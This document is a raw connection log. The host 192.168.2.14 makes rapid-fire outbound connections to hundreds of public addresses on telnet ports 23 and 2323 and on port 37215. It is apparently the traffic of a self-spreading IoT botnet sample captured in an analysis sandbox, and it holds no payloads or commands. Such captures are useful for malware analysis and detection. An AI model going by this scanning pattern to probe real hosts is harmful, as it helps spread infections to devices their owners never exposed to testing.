Nov 3, 2024 15:33:17.289679050 CET	37215	52636	197.240.156.4	192.168.2.14
Nov 3, 2024 15:33:17.289733887 CET	37215	52636	197.240.156.4	192.168.2.14
Nov 3, 2024 15:33:17.290328026 CET	58636	23	192.168.2.14	97.40.231.69
Nov 3, 2024 15:33:17.291012049 CET	37102	23	192.168.2.14	59.36.130.209
Nov 3, 2024 15:33:17.291693926 CET	45194	23	192.168.2.14	43.204.228.86
Nov 3, 2024 15:33:17.292349100 CET	45208	23	192.168.2.14	83.171.212.157
Nov 3, 2024 15:33:17.292516947 CET	44074	23	192.168.2.14	46.238.193.200
Nov 3, 2024 15:33:17.292521954 CET	33170	23	192.168.2.14	154.129.35.126
Nov 3, 2024 15:33:17.293051004 CET	39914	23	192.168.2.14	113.44.206.239
Nov 3, 2024 15:33:17.293579102 CET	23	39076	222.182.50.241	192.168.2.14
Nov 3, 2024 15:33:17.293735981 CET	47936	23	192.168.2.14	126.102.46.44
Nov 3, 2024 15:33:17.293962955 CET	37215	52636	197.240.156.4	192.168.2.14
Nov 3, 2024 15:33:17.294421911 CET	58952	23	192.168.2.14	115.113.210.118
Nov 3, 2024 15:33:17.295120955 CET	52058	23	192.168.2.14	186.142.107.61
Nov 3, 2024 15:33:17.295809984 CET	43664	23	192.168.2.14	156.245.27.198
Nov 3, 2024 15:33:17.296484947 CET	34484	23	192.168.2.14	32.135.75.255
Nov 3, 2024 15:33:17.296529055 CET	23	45194	43.204.228.86	192.168.2.14
Nov 3, 2024 15:33:17.296571016 CET	45194	23	192.168.2.14	43.204.228.86
Nov 3, 2024 15:33:17.297178984 CET	60480	2323	192.168.2.14	115.192.132.184
Nov 3, 2024 15:33:17.297919989 CET	36844	23	192.168.2.14	185.205.222.249
Nov 3, 2024 15:33:17.298597097 CET	58910	23	192.168.2.14	209.22.145.169
Nov 3, 2024 15:33:17.299293995 CET	35444	23	192.168.2.14	27.178.86.136
Nov 3, 2024 15:33:17.299998045 CET	35852	23	192.168.2.14	86.35.249.57
Nov 3, 2024 15:33:17.300689936 CET	40076	23	192.168.2.14	165.249.26.2
Nov 3, 2024 15:33:17.301389933 CET	47594	23	192.168.2.14	193.242.19.219
Nov 3, 2024 15:33:17.301641941 CET	23	45194	43.204.228.86	192.168.2.14
Nov 3, 2024 15:33:17.302076101 CET	39576	23	192.168.2.14	202.204.31.176
Nov 3, 2024 15:33:17.302772045 CET	37952	2323	192.168.2.14	44.129.16.149
Nov 3, 2024 15:33:17.303472996 CET	50936	23	192.168.2.14	61.118.129.80
Nov 3, 2024 15:33:17.304171085 CET	57978	23	192.168.2.14	36.1.76.58
Nov 3, 2024 15:33:17.304517984 CET	45194	23	192.168.2.14	43.204.228.86
Nov 3, 2024 15:33:17.304851055 CET	23	35852	86.35.249.57	192.168.2.14
Nov 3, 2024 15:33:17.304873943 CET	53144	23	192.168.2.14	159.108.185.109
Nov 3, 2024 15:33:17.304893017 CET	35852	23	192.168.2.14	86.35.249.57
Nov 3, 2024 15:33:17.305579901 CET	48936	23	192.168.2.14	89.247.127.123
Nov 3, 2024 15:33:17.306291103 CET	34112	23	192.168.2.14	92.211.140.219
Nov 3, 2024 15:33:17.307018995 CET	45346	23	192.168.2.14	71.54.80.239
Nov 3, 2024 15:33:17.307732105 CET	40238	23	192.168.2.14	102.42.183.124
Nov 3, 2024 15:33:17.308408022 CET	59230	23	192.168.2.14	39.121.14.33
Nov 3, 2024 15:33:17.308520079 CET	54610	23	192.168.2.14	115.167.223.205
Nov 3, 2024 15:33:17.308523893 CET	51930	23	192.168.2.14	76.19.127.181
Nov 3, 2024 15:33:17.308523893 CET	53020	23	192.168.2.14	179.163.235.223
Nov 3, 2024 15:33:17.308527946 CET	48036	23	192.168.2.14	169.179.201.140
Nov 3, 2024 15:33:17.308532953 CET	39878	23	192.168.2.14	79.216.36.37
Nov 3, 2024 15:33:17.308533907 CET	42754	23	192.168.2.14	63.104.212.7
Nov 3, 2024 15:33:17.308537960 CET	48062	23	192.168.2.14	152.247.76.62
Nov 3, 2024 15:33:17.308541059 CET	37836	23	192.168.2.14	8.221.162.42
Nov 3, 2024 15:33:17.308547974 CET	45156	23	192.168.2.14	176.138.112.229
Nov 3, 2024 15:33:17.308547974 CET	51574	23	192.168.2.14	80.51.7.113
Nov 3, 2024 15:33:17.308558941 CET	47736	23	192.168.2.14	39.229.132.186
Nov 3, 2024 15:33:17.308562040 CET	37646	23	192.168.2.14	43.82.220.78
Nov 3, 2024 15:33:17.308564901 CET	48910	23	192.168.2.14	90.104.18.54
Nov 3, 2024 15:33:17.308569908 CET	44142	23	192.168.2.14	88.102.67.98
Nov 3, 2024 15:33:17.308576107 CET	41796	2323	192.168.2.14	123.63.83.91
Nov 3, 2024 15:33:17.308578968 CET	60248	23	192.168.2.14	24.1.86.160
Nov 3, 2024 15:33:17.308583021 CET	43668	23	192.168.2.14	159.145.97.46
Nov 3, 2024 15:33:17.308587074 CET	55168	23	192.168.2.14	220.244.73.76
Nov 3, 2024 15:33:17.308587074 CET	57296	23	192.168.2.14	2.206.223.69
Nov 3, 2024 15:33:17.308589935 CET	52524	23	192.168.2.14	27.228.15.74
Nov 3, 2024 15:33:17.308589935 CET	53542	23	192.168.2.14	207.202.214.70
Nov 3, 2024 15:33:17.309199095 CET	43930	23	192.168.2.14	135.216.90.138
Nov 3, 2024 15:33:17.309884071 CET	33798	23	192.168.2.14	156.229.225.140
Nov 3, 2024 15:33:17.310009956 CET	23	35852	86.35.249.57	192.168.2.14
Nov 3, 2024 15:33:17.310578108 CET	55302	2323	192.168.2.14	161.224.161.202
Nov 3, 2024 15:33:17.311285019 CET	45336	23	192.168.2.14	59.59.132.151
Nov 3, 2024 15:33:17.311969995 CET	40882	23	192.168.2.14	217.5.110.114
Nov 3, 2024 15:33:17.312483072 CET	41980	23	192.168.2.14	153.59.235.162
Nov 3, 2024 15:33:17.312524080 CET	58790	37215	192.168.2.14	156.2.29.60
Nov 3, 2024 15:33:17.312525988 CET	35648	37215	192.168.2.14	197.86.72.226
Nov 3, 2024 15:33:17.312527895 CET	57852	37215	192.168.2.14	197.213.238.3
Nov 3, 2024 15:33:17.312529087 CET	52940	37215	192.168.2.14	156.102.137.205
Nov 3, 2024 15:33:17.312536955 CET	39886	37215	192.168.2.14	41.109.214.110
Nov 3, 2024 15:33:17.312537909 CET	53140	37215	192.168.2.14	41.244.158.44
Nov 3, 2024 15:33:17.312544107 CET	43792	37215	192.168.2.14	156.222.223.241
Nov 3, 2024 15:33:17.312546015 CET	53488	37215	192.168.2.14	41.156.95.15
Nov 3, 2024 15:33:17.312546015 CET	40976	37215	192.168.2.14	197.197.133.157
Nov 3, 2024 15:33:17.312560081 CET	36854	37215	192.168.2.14	41.74.208.142
Nov 3, 2024 15:33:17.312566042 CET	46650	37215	192.168.2.14	156.221.41.86
Nov 3, 2024 15:33:17.312567949 CET	38892	37215	192.168.2.14	41.151.21.249
Nov 3, 2024 15:33:17.312572956 CET	46234	37215	192.168.2.14	41.121.61.60
Nov 3, 2024 15:33:17.312575102 CET	60014	37215	192.168.2.14	197.118.205.67
Nov 3, 2024 15:33:17.312577009 CET	50250	37215	192.168.2.14	197.144.117.110
Nov 3, 2024 15:33:17.312582016 CET	58374	37215	192.168.2.14	41.248.183.26
Nov 3, 2024 15:33:17.312585115 CET	51844	37215	192.168.2.14	41.19.26.16
Nov 3, 2024 15:33:17.312588930 CET	47258	37215	192.168.2.14	41.5.239.250
Nov 3, 2024 15:33:17.312592983 CET	46564	37215	192.168.2.14	41.207.137.58
Nov 3, 2024 15:33:17.312599897 CET	35852	23	192.168.2.14	86.35.249.57
Nov 3, 2024 15:33:17.312835932 CET	42206	23	192.168.2.14	153.59.235.162
Nov 3, 2024 15:33:17.313237906 CET	40244	2323	192.168.2.14	178.15.19.233
Nov 3, 2024 15:33:17.313546896 CET	40464	2323	192.168.2.14	178.15.19.233
Nov 3, 2024 15:33:17.313919067 CET	33170	23	192.168.2.14	154.129.35.126
Nov 3, 2024 15:33:17.314223051 CET	33388	23	192.168.2.14	154.129.35.126
Nov 3, 2024 15:33:17.314630032 CET	44074	23	192.168.2.14	46.238.193.200
Nov 3, 2024 15:33:17.314946890 CET	44286	23	192.168.2.14	46.238.193.200
Nov 3, 2024 15:33:17.315370083 CET	45194	23	192.168.2.14	43.204.228.86
Nov 3, 2024 15:33:17.315668106 CET	45262	23	192.168.2.14	43.204.228.86
Nov 3, 2024 15:33:17.316060066 CET	35852	23	192.168.2.14	86.35.249.57
Nov 3, 2024 15:33:17.316374063 CET	35898	23	192.168.2.14	86.35.249.57
Nov 3, 2024 15:33:17.316787958 CET	23	40882	217.5.110.114	192.168.2.14
Nov 3, 2024 15:33:17.316832066 CET	40882	23	192.168.2.14	217.5.110.114
Nov 3, 2024 15:33:17.317317963 CET	23	41980	153.59.235.162	192.168.2.14
Nov 3, 2024 15:33:17.317984104 CET	2323	40244	178.15.19.233	192.168.2.14
Nov 3, 2024 15:33:17.318717957 CET	23	33170	154.129.35.126	192.168.2.14
Nov 3, 2024 15:33:17.319447041 CET	23	44074	46.238.193.200	192.168.2.14
Nov 3, 2024 15:33:17.320163965 CET	23	45194	43.204.228.86	192.168.2.14
Nov 3, 2024 15:33:17.320816994 CET	23	35852	86.35.249.57	192.168.2.14
Nov 3, 2024 15:33:17.333836079 CET	37215	38958	156.148.197.220	192.168.2.14
Nov 3, 2024 15:33:17.340542078 CET	34916	37215	192.168.2.14	197.9.225.170
Nov 3, 2024 15:33:17.340545893 CET	59838	37215	192.168.2.14	156.231.69.163
Nov 3, 2024 15:33:17.340553999 CET	45362	37215	192.168.2.14	41.71.170.13
Nov 3, 2024 15:33:17.340553999 CET	40894	37215	192.168.2.14	156.144.185.8
Nov 3, 2024 15:33:17.340557098 CET	54220	37215	192.168.2.14	156.2.101.153
Nov 3, 2024 15:33:17.340562105 CET	39130	37215	192.168.2.14	41.188.19.186
Nov 3, 2024 15:33:17.340572119 CET	34390	37215	192.168.2.14	156.34.112.245
Nov 3, 2024 15:33:17.340573072 CET	39202	37215	192.168.2.14	156.75.53.41
Nov 3, 2024 15:33:17.340573072 CET	43192	37215	192.168.2.14	156.226.246.49
Nov 3, 2024 15:33:17.340576887 CET	57190	37215	192.168.2.14	156.92.21.112
Nov 3, 2024 15:33:17.340584993 CET	35774	37215	192.168.2.14	197.219.201.144
Nov 3, 2024 15:33:17.340590954 CET	52770	37215	192.168.2.14	197.8.90.91
Nov 3, 2024 15:33:17.340595007 CET	37746	37215	192.168.2.14	41.151.143.90
Nov 3, 2024 15:33:17.340595007 CET	50692	37215	192.168.2.14	197.185.188.104
Nov 3, 2024 15:33:17.345396042 CET	37215	34916	197.9.225.170	192.168.2.14
Nov 3, 2024 15:33:17.345405102 CET	37215	59838	156.231.69.163	192.168.2.14
Nov 3, 2024 15:33:17.345417976 CET	37215	45362	41.71.170.13	192.168.2.14
Nov 3, 2024 15:33:17.345443010 CET	34916	37215	192.168.2.14	197.9.225.170
Nov 3, 2024 15:33:17.345451117 CET	59838	37215	192.168.2.14	156.231.69.163
Nov 3, 2024 15:33:17.345453024 CET	45362	37215	192.168.2.14	41.71.170.13
Nov 3, 2024 15:33:17.345499039 CET	45362	37215	192.168.2.14	41.71.170.13
Nov 3, 2024 15:33:17.345511913 CET	59838	37215	192.168.2.14	156.231.69.163
Nov 3, 2024 15:33:17.345516920 CET	34916	37215	192.168.2.14	197.9.225.170
Nov 3, 2024 15:33:17.345823050 CET	36054	37215	192.168.2.14	156.236.220.49
Nov 3, 2024 15:33:17.346417904 CET	44446	37215	192.168.2.14	197.73.146.1
Nov 3, 2024 15:33:17.346998930 CET	39118	37215	192.168.2.14	197.248.173.139
Nov 3, 2024 15:33:17.347565889 CET	33318	37215	192.168.2.14	197.48.220.91
Nov 3, 2024 15:33:17.348155975 CET	34056	37215	192.168.2.14	41.99.40.203
Nov 3, 2024 15:33:17.348748922 CET	59270	37215	192.168.2.14	41.48.54.7
Nov 3, 2024 15:33:17.349344015 CET	35784	37215	192.168.2.14	41.151.100.97
Nov 3, 2024 15:33:17.349934101 CET	36758	37215	192.168.2.14	197.31.3.92
Nov 3, 2024 15:33:17.350505114 CET	37626	37215	192.168.2.14	156.171.7.70
Nov 3, 2024 15:33:17.350892067 CET	37215	59838	156.231.69.163	192.168.2.14
Nov 3, 2024 15:33:17.350931883 CET	59838	37215	192.168.2.14	156.231.69.163
Nov 3, 2024 15:33:17.351075888 CET	37215	34916	197.9.225.170	192.168.2.14
Nov 3, 2024 15:33:17.351085901 CET	37215	45362	41.71.170.13	192.168.2.14
Nov 3, 2024 15:33:17.351114035 CET	34916	37215	192.168.2.14	197.9.225.170
Nov 3, 2024 15:33:17.351116896 CET	45362	37215	192.168.2.14	41.71.170.13
Nov 3, 2024 15:33:17.351136923 CET	34432	37215	192.168.2.14	197.246.174.223
Nov 3, 2024 15:33:17.351743937 CET	46012	37215	192.168.2.14	41.208.58.124
Nov 3, 2024 15:33:17.352333069 CET	43172	37215	192.168.2.14	41.247.3.12
Nov 3, 2024 15:33:17.352926016 CET	37580	37215	192.168.2.14	197.70.213.143
Nov 3, 2024 15:33:17.353504896 CET	47944	37215	192.168.2.14	197.169.145.137
Nov 3, 2024 15:33:17.354093075 CET	38700	37215	192.168.2.14	156.93.83.238
Nov 3, 2024 15:33:17.354676962 CET	36102	37215	192.168.2.14	156.116.127.91
Nov 3, 2024 15:33:17.355237007 CET	39644	37215	192.168.2.14	197.104.78.102
Nov 3, 2024 15:33:17.355848074 CET	38556	37215	192.168.2.14	156.145.243.167
Nov 3, 2024 15:33:17.356422901 CET	35870	37215	192.168.2.14	41.10.66.5
Nov 3, 2024 15:33:17.356538057 CET	37215	46012	41.208.58.124	192.168.2.14
Nov 3, 2024 15:33:17.356581926 CET	46012	37215	192.168.2.14	41.208.58.124
Nov 3, 2024 15:33:17.357012987 CET	47082	37215	192.168.2.14	41.66.75.51
Nov 3, 2024 15:33:17.357593060 CET	51938	37215	192.168.2.14	197.150.188.104
Nov 3, 2024 15:33:17.358191013 CET	49022	37215	192.168.2.14	197.180.113.154
Nov 3, 2024 15:33:17.358800888 CET	47310	37215	192.168.2.14	156.238.39.182
Nov 3, 2024 15:33:17.359361887 CET	43074	37215	192.168.2.14	41.110.237.55
Nov 3, 2024 15:33:17.359951019 CET	60020	37215	192.168.2.14	41.74.228.50
Nov 3, 2024 15:33:17.360524893 CET	44614	37215	192.168.2.14	156.34.251.9
Nov 3, 2024 15:33:17.361135006 CET	45624	37215	192.168.2.14	156.35.157.111
Nov 3, 2024 15:33:17.361674070 CET	37215	46012	41.208.58.124	192.168.2.14
Nov 3, 2024 15:33:17.361718893 CET	35576	37215	192.168.2.14	41.63.77.178
Nov 3, 2024 15:33:17.362302065 CET	47716	37215	192.168.2.14	156.250.189.52
Nov 3, 2024 15:33:17.362879038 CET	39038	37215	192.168.2.14	156.174.223.1
Nov 3, 2024 15:33:17.363483906 CET	41710	37215	192.168.2.14	156.127.16.123
Nov 3, 2024 15:33:17.364065886 CET	58296	37215	192.168.2.14	41.207.100.86
Nov 3, 2024 15:33:17.364165068 CET	37215	43074	41.110.237.55	192.168.2.14
Nov 3, 2024 15:33:17.364203930 CET	43074	37215	192.168.2.14	41.110.237.55
Nov 3, 2024 15:33:17.364515066 CET	46012	37215	192.168.2.14	41.208.58.124
Nov 3, 2024 15:33:17.364660978 CET	40692	37215	192.168.2.14	197.230.133.127
Nov 3, 2024 15:33:17.365252972 CET	40874	37215	192.168.2.14	197.102.181.219
Nov 3, 2024 15:33:17.365820885 CET	54172	37215	192.168.2.14	156.62.76.141
Nov 3, 2024 15:33:17.366421938 CET	45960	37215	192.168.2.14	41.190.109.206
Nov 3, 2024 15:33:17.366884947 CET	46012	37215	192.168.2.14	41.208.58.124
Nov 3, 2024 15:33:17.366885900 CET	46012	37215	192.168.2.14	41.208.58.124
Nov 3, 2024 15:33:17.367165089 CET	46064	37215	192.168.2.14	41.208.58.124
Nov 3, 2024 15:33:17.367510080 CET	43074	37215	192.168.2.14	41.110.237.55
Nov 3, 2024 15:33:17.367510080 CET	43074	37215	192.168.2.14	41.110.237.55
Nov 3, 2024 15:33:17.367765903 CET	43102	37215	192.168.2.14	41.110.237.55
Nov 3, 2024 15:33:17.369203091 CET	37215	43074	41.110.237.55	192.168.2.14
Nov 3, 2024 15:33:17.369237900 CET	43074	37215	192.168.2.14	41.110.237.55
Nov 3, 2024 15:33:17.371675014 CET	37215	46012	41.208.58.124	192.168.2.14
Nov 3, 2024 15:33:17.371803999 CET	37215	46012	41.208.58.124	192.168.2.14
Nov 3, 2024 15:33:17.372369051 CET	37215	43074	41.110.237.55	192.168.2.14
Nov 3, 2024 15:33:17.372442961 CET	37215	43074	41.110.237.55	192.168.2.14
Nov 3, 2024 15:33:17.373967886 CET	37215	43074	41.110.237.55	192.168.2.14
Nov 3, 2024 15:33:17.447956085 CET	23	37956	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:17.448060036 CET	37956	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:17.448515892 CET	38124	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:17.452842951 CET	23	37956	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:17.453309059 CET	23	38124	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:17.453357935 CET	38124	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:17.458911896 CET	23	38124	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:17.458981037 CET	38124	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:17.459331989 CET	38126	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:17.463967085 CET	23	38124	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:17.464093924 CET	23	38126	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:17.464143038 CET	38126	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:17.746653080 CET	23	47304	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:17.746798038 CET	47304	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:17.747232914 CET	47472	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:17.751633883 CET	23	47304	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:17.751996040 CET	23	47472	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:17.752047062 CET	47472	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:17.757709026 CET	23	47472	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:17.757785082 CET	47472	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:17.758137941 CET	47474	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:17.763036966 CET	23	47472	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:17.763057947 CET	23	47474	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:17.763108015 CET	47474	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:17.832643032 CET	23	43084	133.49.168.192	192.168.2.14
Nov 3, 2024 15:33:17.832848072 CET	43084	23	192.168.2.14	133.49.168.192
Nov 3, 2024 15:33:17.833205938 CET	44472	23	192.168.2.14	133.49.168.192
Nov 3, 2024 15:33:17.836251020 CET	23	34742	126.240.3.98	192.168.2.14
Nov 3, 2024 15:33:17.836321115 CET	34742	23	192.168.2.14	126.240.3.98
Nov 3, 2024 15:33:17.836667061 CET	36116	23	192.168.2.14	126.240.3.98
Nov 3, 2024 15:33:17.837639093 CET	23	43084	133.49.168.192	192.168.2.14
Nov 3, 2024 15:33:17.838042974 CET	23	44472	133.49.168.192	192.168.2.14
Nov 3, 2024 15:33:17.838088989 CET	44472	23	192.168.2.14	133.49.168.192
Nov 3, 2024 15:33:17.841259956 CET	23	34742	126.240.3.98	192.168.2.14
Nov 3, 2024 15:33:17.841470957 CET	23	36116	126.240.3.98	192.168.2.14
Nov 3, 2024 15:33:17.841511965 CET	36116	23	192.168.2.14	126.240.3.98
Nov 3, 2024 15:33:17.843235016 CET	23	44472	133.49.168.192	192.168.2.14
Nov 3, 2024 15:33:17.843333960 CET	44472	23	192.168.2.14	133.49.168.192
Nov 3, 2024 15:33:17.843638897 CET	44476	23	192.168.2.14	133.49.168.192
Nov 3, 2024 15:33:17.844530106 CET	37215	56454	197.78.199.67	192.168.2.14
Nov 3, 2024 15:33:17.844577074 CET	56454	37215	192.168.2.14	197.78.199.67
Nov 3, 2024 15:33:17.846609116 CET	23	36116	126.240.3.98	192.168.2.14
Nov 3, 2024 15:33:17.846674919 CET	36116	23	192.168.2.14	126.240.3.98
Nov 3, 2024 15:33:17.847012997 CET	36120	23	192.168.2.14	126.240.3.98
Nov 3, 2024 15:33:17.848423004 CET	23	44472	133.49.168.192	192.168.2.14
Nov 3, 2024 15:33:17.848649979 CET	23	44476	133.49.168.192	192.168.2.14
Nov 3, 2024 15:33:17.848690033 CET	44476	23	192.168.2.14	133.49.168.192
Nov 3, 2024 15:33:17.851496935 CET	23	36116	126.240.3.98	192.168.2.14
Nov 3, 2024 15:33:17.852112055 CET	23	36120	126.240.3.98	192.168.2.14
Nov 3, 2024 15:33:17.852154016 CET	36120	23	192.168.2.14	126.240.3.98
Nov 3, 2024 15:33:17.852667093 CET	2323	45766	145.150.251.97	192.168.2.14
Nov 3, 2024 15:33:17.853045940 CET	45766	2323	192.168.2.14	145.150.251.97
Nov 3, 2024 15:33:17.853409052 CET	46874	2323	192.168.2.14	145.150.251.97
Nov 3, 2024 15:33:17.853813887 CET	23	44476	133.49.168.192	192.168.2.14
Nov 3, 2024 15:33:17.853864908 CET	44476	23	192.168.2.14	133.49.168.192
Nov 3, 2024 15:33:17.854181051 CET	44482	23	192.168.2.14	133.49.168.192
Nov 3, 2024 15:33:17.857867002 CET	2323	45766	145.150.251.97	192.168.2.14
Nov 3, 2024 15:33:17.858189106 CET	2323	46874	145.150.251.97	192.168.2.14
Nov 3, 2024 15:33:17.858237982 CET	46874	2323	192.168.2.14	145.150.251.97
Nov 3, 2024 15:33:17.858650923 CET	23	44476	133.49.168.192	192.168.2.14
Nov 3, 2024 15:33:17.858948946 CET	23	45372	216.202.115.113	192.168.2.14
Nov 3, 2024 15:33:17.859005928 CET	45372	23	192.168.2.14	216.202.115.113
Nov 3, 2024 15:33:17.859268904 CET	23	44482	133.49.168.192	192.168.2.14
Nov 3, 2024 15:33:17.859311104 CET	44482	23	192.168.2.14	133.49.168.192
Nov 3, 2024 15:33:17.859349966 CET	46746	23	192.168.2.14	216.202.115.113
Nov 3, 2024 15:33:17.863208055 CET	23	57940	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:17.863262892 CET	57940	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:17.863552094 CET	2323	46874	145.150.251.97	192.168.2.14
Nov 3, 2024 15:33:17.863615990 CET	59338	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:17.863816023 CET	23	45372	216.202.115.113	192.168.2.14
Nov 3, 2024 15:33:17.864057064 CET	46874	2323	192.168.2.14	145.150.251.97
Nov 3, 2024 15:33:17.864223003 CET	23	44482	133.49.168.192	192.168.2.14
Nov 3, 2024 15:33:17.864289045 CET	23	46746	216.202.115.113	192.168.2.14
Nov 3, 2024 15:33:17.864336014 CET	46746	23	192.168.2.14	216.202.115.113
Nov 3, 2024 15:33:17.864356995 CET	46882	2323	192.168.2.14	145.150.251.97
Nov 3, 2024 15:33:17.864808083 CET	44482	23	192.168.2.14	133.49.168.192
Nov 3, 2024 15:33:17.865128040 CET	44490	23	192.168.2.14	133.49.168.192
Nov 3, 2024 15:33:17.868186951 CET	23	57940	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:17.868412971 CET	23	59338	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:17.868449926 CET	59338	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:17.868969917 CET	2323	46874	145.150.251.97	192.168.2.14
Nov 3, 2024 15:33:17.869160891 CET	2323	46882	145.150.251.97	192.168.2.14
Nov 3, 2024 15:33:17.869200945 CET	46882	2323	192.168.2.14	145.150.251.97
Nov 3, 2024 15:33:17.869364023 CET	23	46746	216.202.115.113	192.168.2.14
Nov 3, 2024 15:33:17.869417906 CET	46746	23	192.168.2.14	216.202.115.113
Nov 3, 2024 15:33:17.869621992 CET	23	44482	133.49.168.192	192.168.2.14
Nov 3, 2024 15:33:17.869730949 CET	46754	23	192.168.2.14	216.202.115.113
Nov 3, 2024 15:33:17.869859934 CET	23	44490	133.49.168.192	192.168.2.14
Nov 3, 2024 15:33:17.869903088 CET	44490	23	192.168.2.14	133.49.168.192
Nov 3, 2024 15:33:17.870245934 CET	23	48902	213.230.169.123	192.168.2.14
Nov 3, 2024 15:33:17.870310068 CET	48902	23	192.168.2.14	213.230.169.123
Nov 3, 2024 15:33:17.870631933 CET	50310	23	192.168.2.14	213.230.169.123
Nov 3, 2024 15:33:17.873531103 CET	23	59338	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:17.873600960 CET	59338	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:17.873919964 CET	59348	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:17.874371052 CET	2323	46882	145.150.251.97	192.168.2.14
Nov 3, 2024 15:33:17.874423981 CET	46882	2323	192.168.2.14	145.150.251.97
Nov 3, 2024 15:33:17.874476910 CET	23	46746	216.202.115.113	192.168.2.14
Nov 3, 2024 15:33:17.874568939 CET	23	46754	216.202.115.113	192.168.2.14
Nov 3, 2024 15:33:17.874612093 CET	46754	23	192.168.2.14	216.202.115.113
Nov 3, 2024 15:33:17.874746084 CET	46892	2323	192.168.2.14	145.150.251.97
Nov 3, 2024 15:33:17.874835968 CET	23	44490	133.49.168.192	192.168.2.14
Nov 3, 2024 15:33:17.875200987 CET	44490	23	192.168.2.14	133.49.168.192
Nov 3, 2024 15:33:17.875220060 CET	23	48902	213.230.169.123	192.168.2.14
Nov 3, 2024 15:33:17.875443935 CET	23	50310	213.230.169.123	192.168.2.14
Nov 3, 2024 15:33:17.875489950 CET	50310	23	192.168.2.14	213.230.169.123
Nov 3, 2024 15:33:17.875503063 CET	44500	23	192.168.2.14	133.49.168.192
Nov 3, 2024 15:33:17.878520012 CET	23	59338	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:17.878716946 CET	23	59348	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:17.878752947 CET	59348	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:17.879235029 CET	2323	46882	145.150.251.97	192.168.2.14
Nov 3, 2024 15:33:17.879693985 CET	23	46754	216.202.115.113	192.168.2.14
Nov 3, 2024 15:33:17.879753113 CET	46754	23	192.168.2.14	216.202.115.113
Nov 3, 2024 15:33:17.879755020 CET	2323	46892	145.150.251.97	192.168.2.14
Nov 3, 2024 15:33:17.879796028 CET	46892	2323	192.168.2.14	145.150.251.97
Nov 3, 2024 15:33:17.879971981 CET	23	44490	133.49.168.192	192.168.2.14
Nov 3, 2024 15:33:17.880069017 CET	46764	23	192.168.2.14	216.202.115.113
Nov 3, 2024 15:33:17.880379915 CET	23	44500	133.49.168.192	192.168.2.14
Nov 3, 2024 15:33:17.880420923 CET	44500	23	192.168.2.14	133.49.168.192
Nov 3, 2024 15:33:17.880459070 CET	23	50310	213.230.169.123	192.168.2.14
Nov 3, 2024 15:33:17.880523920 CET	50310	23	192.168.2.14	213.230.169.123
Nov 3, 2024 15:33:17.880855083 CET	50320	23	192.168.2.14	213.230.169.123
Nov 3, 2024 15:33:17.883790016 CET	23	59348	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:17.883856058 CET	59348	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:17.884176016 CET	59358	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:17.884604931 CET	23	46754	216.202.115.113	192.168.2.14
Nov 3, 2024 15:33:17.884813070 CET	2323	46892	145.150.251.97	192.168.2.14
Nov 3, 2024 15:33:17.884869099 CET	46892	2323	192.168.2.14	145.150.251.97
Nov 3, 2024 15:33:17.885063887 CET	23	46764	216.202.115.113	192.168.2.14
Nov 3, 2024 15:33:17.885103941 CET	46764	23	192.168.2.14	216.202.115.113
Nov 3, 2024 15:33:17.885178089 CET	46902	2323	192.168.2.14	145.150.251.97
Nov 3, 2024 15:33:17.885310888 CET	23	50310	213.230.169.123	192.168.2.14
Nov 3, 2024 15:33:17.885320902 CET	23	44500	133.49.168.192	192.168.2.14
Nov 3, 2024 15:33:17.885610104 CET	44500	23	192.168.2.14	133.49.168.192
Nov 3, 2024 15:33:17.885658026 CET	23	50320	213.230.169.123	192.168.2.14
Nov 3, 2024 15:33:17.885699034 CET	50320	23	192.168.2.14	213.230.169.123
Nov 3, 2024 15:33:17.885902882 CET	44510	23	192.168.2.14	133.49.168.192
Nov 3, 2024 15:33:17.887518883 CET	37215	41260	156.69.79.25	192.168.2.14
Nov 3, 2024 15:33:17.887564898 CET	41260	37215	192.168.2.14	156.69.79.25
Nov 3, 2024 15:33:17.888596058 CET	23	59348	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:17.888942957 CET	23	59358	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:17.888986111 CET	59358	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:17.889642000 CET	2323	46892	145.150.251.97	192.168.2.14
Nov 3, 2024 15:33:17.890121937 CET	2323	46902	145.150.251.97	192.168.2.14
Nov 3, 2024 15:33:17.890162945 CET	46902	2323	192.168.2.14	145.150.251.97
Nov 3, 2024 15:33:17.890396118 CET	23	44500	133.49.168.192	192.168.2.14
